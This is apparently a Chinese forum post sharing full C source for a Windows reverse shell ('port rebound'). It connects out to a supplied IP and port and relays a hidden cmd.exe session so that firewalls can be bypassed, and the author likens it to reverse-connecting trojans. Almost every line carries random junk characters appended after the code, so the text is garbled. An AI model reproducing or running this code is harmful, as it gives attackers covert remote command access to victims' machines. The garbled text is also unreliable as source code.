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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ha20g/ UN.  
H5p&dNO  
/* ============================== g=n /w  
Rebound port in Windows NT =xsTVT;sj  
By wind,2006/7 8u#2M8.5E  
===============================*/ ]kyGm2Ty9  
#include Fop'm))C8  
#include . ,n>#lL  
wO ?A/s  
#pragma comment(lib,"wsock32.lib") ,qO2D_  
%$SO9PY  
void OutputShell(); [NIaWI,>  
SOCKET sClient; i;}mIsNBY  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0N>R!  
l)( 3]  
void main(int argc,char **argv) A<s9c=d6  
{ qCgoB 0  
WSADATA stWsaData; );5H<[  
int nRet; kG$U  
SOCKADDR_IN stSaiClient,stSaiServer; vTUhIFa{  
dn@_\5  
if(argc != 3) "~/O>.p  
{ IH~[/qNk  
printf("Useage:\n\rRebound DestIP DestPort\n"); 'nh^'i&0.  
return; :Z5Twb3h  
} ^N:bT;;$nZ  
Q !G^CG  
WSAStartup(MAKEWORD(2,2),&stWsaData); 6'1m3<G_  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O;?Nz:/q  
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stSaiClient.sin_family = AF_INET; %.VFj7J  
stSaiClient.sin_port = htons(0); T:(c/ >  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); whvvc2  
I9;,qd%<T  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) '?MT " G  
{ $^j#z^7  
printf("Bind Socket Failed!\n"); z1 P=P%F  
return; rRzc"W}K+  
} Ov PTgiI!N  
"s5[w+,R  
stSaiServer.sin_family = AF_INET; ,$<="kJk  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rW B/#m  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Dk`(Wgk2  
r:Rk!z*  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) s+OXT4>+  
{ jQrw^6C  
printf("Connect Error!"); EgT?Hvx:  
return; YPNG9^Y  
} Tg ~SGAc  
OutputShell(); +1=]93gP  
} L:E?tR}H  
>crFIkOJ  
void OutputShell() _/`H<@B_U  
{  q,v)X  
char szBuff[1024]; UCVdR<<Z  
SECURITY_ATTRIBUTES stSecurityAttributes; ==)q{e5  
OSVERSIONINFO stOsversionInfo; Yb;$z'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jM!Q 04(  
STARTUPINFO stStartupInfo; 3r-oZ8/n  
char *szShell; $;%k:&\f  
PROCESS_INFORMATION stProcessInformation; :M _N  
unsigned long lBytesRead; 8%Hc%T[RnT  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qz6@'1  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .bvEE  
stSecurityAttributes.lpSecurityDescriptor = 0; dcbE<W#ss  
stSecurityAttributes.bInheritHandle = TRUE; &Y3 r'"  
OT{cP3;0*o  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); hX9vtV5L  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); H^r;,Q$9  
JOFQyhY0>m  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^^Te  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @K=C`N_22  
stStartupInfo.wShowWindow = SW_HIDE; GZWU=TC2{2  
stStartupInfo.hStdInput = hReadPipe; {~cM 6W]f  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :ExCGS[  
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GetVersionEx(&stOsversionInfo); "1HKD  
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switch(stOsversionInfo.dwPlatformId) ^M6R l0  
{ BH\!yxK  
case 1: <b#1L  
szShell = "command.com"; @Z2^smf  
break; o4F(X0  
default: zW9/[Db  
szShell = "cmd.exe"; &ku.Q3xGs  
break; +nU=)x?38  
} 33z^Q`MTC  
IB\O[R$x  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }NpN<C+  
&\ $~  
send(sClient,szMsg,77,0); )wyC8`&-  
while(1) F0x'^Z}Q;  
{ 7*\Cf qrU  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n5>OZ3 E@  
if(lBytesRead) q@[UeXu?pZ  
{ c.4WwzK  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); IF'Tj`yD  
send(sClient,szBuff,lBytesRead,0); DrA\-G_7  
} (j?ckah%V  
else ;fe~PPT  
{ 0"J0JcFX  
lBytesRead=recv(sClient,szBuff,1024,0);  BDfJ  
if(lBytesRead<=0) break; Ym|%ka  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); qN\?cW'  
} tg6iHFa  
} ]@{l<ExP  
9oQ$w?=#$  
return; PT39VI =  
}
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